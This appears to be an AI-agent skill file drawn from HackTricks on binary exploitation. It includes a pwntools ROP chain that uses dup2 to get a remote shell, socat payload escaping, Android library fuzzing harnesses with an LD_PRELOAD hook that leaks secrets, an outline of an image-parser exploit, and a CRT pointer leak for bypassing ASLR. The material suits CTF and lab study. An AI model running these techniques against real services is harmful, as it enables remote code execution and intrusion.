Hacktricks-skills common-exploitation-techniques
How to apply common exploitation patterns including FD duplication for remote shells, socat/pty escape handling, Android shared-library fuzzing with LD_PRELOAD hooking, image parser exploitation, and pointer-keyed hash table pointer leaks. Use this skill whenever the user mentions exploitation, remote shells, socket exploitation, Android fuzzing, shared library analysis, LD_PRELOAD, image format parsing, ASLR bypass, pointer leaks, or any binary exploitation scenario.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/binary-exploitation/common-exploiting-problems/SKILL.MDCommon Exploitation Techniques
This skill covers practical exploitation patterns that appear frequently in real-world scenarios. Each section provides actionable guidance with working examples.
FD Duplication for Remote Shell Interaction
When to use
When exploiting a remote service that spawns a shell (e.g.,
system('/bin/sh')) but you cannot interact with it because stdin/stdout are not connected to your socket.
The problem
When a server process executes
system('/bin/sh'), the shell expects:
- stdin (FD 0): for input
- stdout (FD 1): for output
- stderr (FD 2): for errors
If these aren't connected to your attacker socket, you get a non-interactive shell.
The solution
Use
dup2() to redirect stdin/stdout to the socket FD. When a server accepts a connection, it typically:
- Creates a listening socket (FD 3)
- Accepts your connection (FD 4)
Redirect FD 0 and 1 to FD 4:
from pwn import * elf = context.binary = ELF('./vuln') p = remote('localhost', 9001) rop = ROP(elf) rop.raw('A' * 40) # padding to reach ROP chain rop.dup2(4, 0) # dup2(socket_fd, stdin) rop.dup2(4, 1) # dup2(socket_fd, stdout) rop.win() # your shell-spawning function p.sendline(rop.chain()) p.recvuntil('Thanks!\x00') p.interactive()
Finding the correct FD
If you're unsure which FD the socket uses:
- Check the server's
call - the returned FD is your targetaccept() - Use
on the server to see FD allocationstrace - Try common values: 3, 4, 5 (after stdin/stdout/stderr)
Socat & PTY Escape Character Handling
When to use
When using
socat with PTY mode and your exploit contains \x7f (DELETE character).
The problem
Socat in PTY mode interprets
\x7f as a backspace/delete character, which corrupts your exploit payload.
The solution
Prepend the escape character
\x16 before any \x7f in your payload:
# Instead of sending: payload = b'\x7f\x7f\x7f' # Send: payload = b'\x16\x7f\x16\x7f\x16\x7f' # In pwnlib: payload = payload.replace(b'\x7f', b'\x16\x7f')
Alternative
Use
socat without PTY mode if possible:
socat TCP-LISTEN:9001,reuseaddr,fork EXEC:"./vuln" # Instead of: socat TCP-LISTEN:9001,reuseaddr,fork EXEC:"./vuln",pty
Android AArch64 Shared Library Fuzzing
When to use
When you have a stripped AArch64
.so file from an Android app and need to fuzz exported functions without rebuilding the APK.
Workflow
Step 1: Locate callable entry points
objdump -T libvalidate.so | grep -E "validate|check|verify"
Use Ghidra/IDA to determine function signatures:
int validate(const uint8_t *buf, uint64_t len);
Step 2: Write a standalone harness
Create
harness.c:
#include <fcntl.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <unistd.h> extern int validate(const uint8_t *buf, uint64_t len); int main(int argc, char **argv) { if (argc < 2) return 1; int fd = open(argv[1], O_RDONLY); if (fd < 0) return 1; struct stat st = {0}; if (fstat(fd, &st) < 0) return 1; uint8_t *buffer = malloc(st.st_size + 1); read(fd, buffer, st.st_size); close(fd); int ret = validate(buffer, st.st_size); free(buffer); return ret; }
Cross-compile with NDK:
aarch64-linux-android21-clang harness.c -L. -lvalidate -fPIE -pie -o harness
Step 3: Bypass anti-debug with LD_PRELOAD
If the
.so imports snprintf and contains secrets:
#define _GNU_SOURCE #include <dlfcn.h> #include <stdarg.h> #include <stdio.h> #include <string.h> typedef int (*vsnprintf_t)(char *, size_t, const char *, va_list); int snprintf(char *str, size_t size, const char *fmt, ...) { static vsnprintf_t real_vsnprintf; if (!real_vsnprintf) real_vsnprintf = (vsnprintf_t)dlsym(RTLD_NEXT, "vsnprintf"); va_list args; va_start(args, fmt); va_list args_copy; va_copy(args_copy, args); // Leak format strings containing secrets if (fmt && strstr(fmt, "FLAG{")) { fprintf(stdout, "[LEAK] "); vfprintf(stdout, fmt, args); fputc('\n', stdout); } int ret = real_vsnprintf(str, size, fmt, args_copy); va_end(args_copy); va_end(args); return ret; }
Compile and run:
gcc -shared -fPIC -o hook.so hook.c -ldl LD_PRELOAD=./hook.so ./harness payload.json
Step 4: Create AFL harness for targeted fuzzing
If you've identified the exact bytes to fuzz:
#include <stdint.h> #include <stdio.h> #include <string.h> #include <unistd.h> extern int validate(unsigned char *bytes, size_t len); #define FUZZ_SIZE 9 int main(void) { uint8_t blob[FUZZ_SIZE]; if (read(STDIN_FILENO, blob, FUZZ_SIZE) != FUZZ_SIZE) return 0; // Embed fuzz bytes in valid structure char json[512]; int len = snprintf(json, sizeof(json), "{\"magic\":16909060,\"flag\":\"FLAG{827b07c%s}\"}", blob); validate((unsigned char *)json, len); return 0; }
Run AFL:
afl-cc -o afl_harness afl_harness.c afl-fuzz -i input_dir -o output_dir ./afl_harness
Image/Media Parser Exploitation
When to use
When analyzing image formats (DNG, TIFF, JPEG) that contain embedded bytecode or metadata that controls parsing behavior.
Common attack vectors
1. Opcode-based formats
Some formats ship with bytecode interpreters:
- DNG: tone curves, map tables
- TIFF: IFD entries with custom tags
- JPEG: APP segments with proprietary data
2. Bounds-check bypasses
Look for:
- Metadata-derived dimensions not validated
- Plane indices from untrusted data
- Array sizes from file headers
3. Heap grooming
Malicious opcodes can:
- Allocate specific sizes to control heap layout
- Free objects to create controlled holes
- Spray the heap with attacker data
Example: Chaining vulnerabilities
from pwn import * # 1. Bounds bug to read arbitrary memory # 2. Heap spray to control freed objects # 3. Vtable remapping for code execution # 4. JOP chain to system() # See: Samsung Quram exploit for real-world example
Pointer-Keyed Hash Table Pointer Leaks
When to use
When a service deserializes attacker-controlled property lists and re-serializes them, particularly on macOS/iOS with
NSKeyedUnarchiver.
The vulnerability
Before March 2025,
CFNull/NSNull used pointer address as hash:
CFHash(object) == (uintptr_t)object
The singleton
kCFNull lives at a fixed shared-cache address, making its hash stable across processes.
Attack workflow
Step 1: Craft input plist
Create dictionaries with controlled bucket patterns:
// For each prime p in {23, 41, 71, 127, 191, 251, 383, 631, 1087}: // Create two dictionaries: // - One with even buckets filled // - One with odd buckets filled // NSNull serialized last in each
Step 2: Send to victim
./attacker-input-generator > attacker-input.plist plutil -convert binary1 attacker-input.plist # Send to victim service
Step 3: Extract residues from response
The serialized key order reveals bucket indices:
// For each dictionary pair, determine: // hash(NSNull) % p = r_i
Step 4: Apply Chinese Remainder Theorem
def crt(residues, moduli): """Solve system of congruences using CRT""" from math import gcd result = 0 product = 1 for m in moduli: product *= m for r, m in zip(residues, moduli): p = product // m result += r * p * extended_gcd(p, m)[1] return result % product # Moduli: [23, 41, 71, 127, 191, 251, 383, 631, 1087] # Product > 2^64, so result is unique 64-bit pointer pointer = crt(residues, moduli) print(f"Leaked pointer: {hex(pointer)}")
Why this works
usesNSDictionary
with prime bucket countsCFBasicHash- Serialization walks buckets in numeric order
- Key order in output encodes bucket indices
- No memory corruption needed - just observation
Quick Reference
| Technique | Key Function | Typical Use Case |
|---|---|---|
| FD Duplication | , | Remote shell interaction |
| Socat Escape | Prepend to | PTY-based exploits |
| LD_PRELOAD Hook | | Anti-debug bypass, secret leakage |
| AFL Fuzzing | | Targeted binary fuzzing |
| CRT Pointer Leak | Extended Euclidean Algorithm | ASLR bypass on macOS |